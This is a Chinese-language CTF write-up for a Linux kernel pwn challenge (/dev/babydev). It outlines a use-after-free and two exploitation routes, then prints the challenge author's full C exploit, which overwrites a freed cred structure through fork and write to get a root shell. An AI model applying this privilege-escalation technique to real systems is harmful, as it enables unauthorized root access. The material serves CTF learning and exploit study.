0x00:
之前国赛的一个Linux kernel pwn,Atum大佬的题目。
简单的来说就是kernel的UAF,怎么利用就仁者见仁,智者见智了。
复杂一点,0ctf knote的思路,喷射tty_struct内核对象,然后利用write方法修改这个内核对象,完成提权,但是要bypass smtp保护,这个需要ROP。
赛后问了出题人,最简单的方法,直接fork,利用write方法改uid去拿root,代码也很短,不需要bypass 那些保护。
方法1的话fp的wp写的很清楚(膜石总+林博士),方法2的话文章后面会放出出题人的exp。
0x01: 出题人的exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51
| #include <stdio.h> #include <unistd.h> #include <stdlib.h> #include <fcntl.h> #include <string.h> #include <sys/types.h> #include <sys/wait.h> #include <sys/ioctl.h> #include <pthread.h> const long long credsize=168; char *dev="/dev/babydev"; char buf[100]; volatile int racestop=0; volatile int releasedone=0; int main(){ int fd1,fd2,ret; char zero[100]={0}; fd1=open(dev,O_RDWR); fd2=open(dev,O_RDWR); printf("fd1=%d\n fd2=%d\n",fd1,fd2); ret=ioctl(fd1,0x10001,credsize); printf("ioctl in main =%d\n",ret); close(fd1); int t=1000; int pid=fork(); if(pid<0){ puts("error,pid<0"); return 0; } if(pid==0){ ret=write(fd2,zero,28); printf("write in writebuf=%d\n",ret);
t=getuid(); printf("uid=%d\n",t); if(t==0){ system("/bin/sh"); exit(0); } else{ exit(0); }
} else{ wait(NULL); } close(fd2); return 0; }
|